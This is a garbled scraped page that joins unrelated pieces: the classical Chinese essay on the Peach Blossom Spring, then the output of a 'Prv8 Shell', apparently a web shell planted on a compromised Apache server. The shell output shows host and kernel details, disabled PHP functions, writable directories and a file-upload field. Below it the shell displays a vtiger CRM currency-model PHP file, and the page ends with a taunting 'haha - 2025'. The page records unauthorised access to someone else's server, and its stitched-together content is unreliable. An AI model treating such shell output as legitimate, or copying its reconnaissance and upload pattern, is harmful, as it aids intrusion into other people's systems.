晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/modules/Settings/Currency/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/akaindir/www/crm/modules/Settings/Currency/models/Record.php
<?php

/*+**********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.1
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 ************************************************************************************/

class Settings_Currency_Record_Model extends Settings_Vtiger_Record_Model{
    
    public function getId() {
        return $this->get('id');
    }
    
    public function getName() {
        return $this->get('currency_name');
    }
    
    public function isDisabledRestricted() {
        $db = PearDatabase::getInstance();
        $disabledRestircted = $this->get('_disable_restricted');
        if(!empty($disabledRestircted)) {
            return $disabledRestircted;
        }
        $query = 'SELECT 1 FROM vtiger_users WHERE currency_id = ?';
        $params = array($this->getId());
        $result = $db->pquery($query,$params);
        
        $disabledRestircted = ($db->num_rows($result) > 0 ) ? true : false;
        $this->set('_disable_restricted',$disabledRestircted);
        return $disabledRestircted;
    }
    
    public function isBaseCurrency() {
        return ($this->get('defaultid') != '-11') ? false : true;
    }

	public function getRecordLinks() {
		if($this->isBaseCurrency()){
			//NO Edit and delete link for base currency 
			return array(); 
		} 
        $editLink = array(
            'linkurl' => "javascript:Settings_Currency_Js.triggerEdit(event, '".$this->getId()."')",
            'linklabel' => 'LBL_EDIT',
            'linkicon' => 'icon-pencil'
        );
        $editLinkInstance = Vtiger_Link_Model::getInstanceFromValues($editLink);
        
        $deleteLink = array(
            'linkurl' => "javascript:Settings_Currency_Js.triggerDelete(event,'".$this->getId()."')",
            'linklabel' => 'LBL_DELETE',
            'linkicon' => 'icon-trash'
        );
        $deleteLinkInstance = Vtiger_Link_Model::getInstanceFromValues($deleteLink);
        return array($editLinkInstance,$deleteLinkInstance);
    }
    
    public function getDeleteStatus() {
        if($this->has('deleted')) {
            return $this->get('deleted');
        }
        //by default non deleted
        return 0;
    }
    
    public function save() {
        $db = PearDatabase::getInstance();
        $id = $this->getId();
        $tableName = Settings_Currency_Module_Model::tableName;
        if(!empty($id)) {
            $query = 'UPDATE '.$tableName.' SET currency_name=?, currency_code=?, 
                currency_status=?,currency_symbol=?,conversion_rate=?, deleted=? WHERE id=?' ;
            $params = array(
                $this->get('currency_name'), $this->get('currency_code'),
                $this->get('currency_status'), $this->get('currency_symbol'),
                $this->get('conversion_rate'),$this->getDeleteStatus(), $id
            );
        }else {
            $id = $db->getUniqueID($tableName);
            $query = 'INSERT INTO '. $tableName .' VALUES(?,?,?,?,?,?,?,?)';
            $params = array(
                $id , $this->get('currency_name'), $this->get('currency_code'),
                $this->get('currency_symbol'), $this->get('conversion_rate'), 
                $this->get('currency_status'),0, 0
            );
        }
        $db->pquery($query,$params);
        return $id;
    }

    public static function getInstance($id) {
        $db = PearDatabase::getInstance();
        if(Vtiger_Utils::isNumber($id)){
            $query = 'SELECT * FROM ' . Settings_Currency_Module_Model::tableName . ' WHERE id=?';
        }else{
            $query = 'SELECT * FROM ' . Settings_Currency_Module_Model::tableName . ' WHERE currency_name=?';
        }
        
        $params = array($id);
        $result = $db->pquery($query,$params);
        if($db->num_rows($result) > 0) {
            $instance = new self();
            $row = $db->query_result_rowdata($result,0);
            $instance->setData($row);
        }
        return $instance;
    }
    
    public static function getAllNonMapped($includedIds = array()) {
        $db = PearDatabase::getInstance();
        if(!is_array($includedIds)) {
			if(!empty($includedIds)){
				$includedIds = array($includedIds);
			}else{
				$includedIds = array();
			}
        }
		
        $query = 'SELECT vtiger_currencies.* FROM vtiger_currencies 
                    LEFT JOIN vtiger_currency_info ON vtiger_currency_info.currency_name = vtiger_currencies.currency_name
                    WHERE vtiger_currency_info.currency_name IS NULL or vtiger_currency_info.deleted=1';
        $params = array();
        if(!empty($includedIds)) {
            $params = $includedIds;
            $query .= ' OR vtiger_currency_info.id IN('.generateQuestionMarks($includedIds).')';
        }
		$query .= ' ORDER BY vtiger_currencies.currency_name';

        $result = $db->pquery($query,$params);
        $currencyModelList = array();
        $num_rows = $db->num_rows($result);
        
        for($i=0; $i<$num_rows; $i++) {
            $row = $db->query_result_rowdata($result,$i);
            $modelInstance = new self();
            $modelInstance->setData($row);
            $currencyModelList[$row['currencyid']] = $modelInstance;
        }
        return $currencyModelList;
    }
    
    public static function getAll($excludedIds = array()) {
        $db = PearDatabase::getInstance();
        
        if(!is_array($excludedIds)) {
            $excludedIds = array($excludedIds); 
        }
        
        $query = 'SELECT * FROM '.Settings_Currency_Module_Model::tableName.' WHERE deleted=0 AND currency_status="Active"';
        $params = array();
        if(!empty($excludedIds)) {
            $params = $excludedIds;
            $query .= ' AND id NOT IN ('.generateQuestionMarks($excludedIds).')';
        }
        $result = $db->pquery($query, $params);
        $num_rows = $db->num_rows($result);
        $instanceList = array();
        
        for($i=0; $i<$num_rows; $i++) {
            $row = $db->query_result_rowdata($result,$i);
            $instanceList[$row['id']] = new Settings_Currency_Record_Model($row); 
        }
        return $instanceList;
    }
    
}

haha - 2025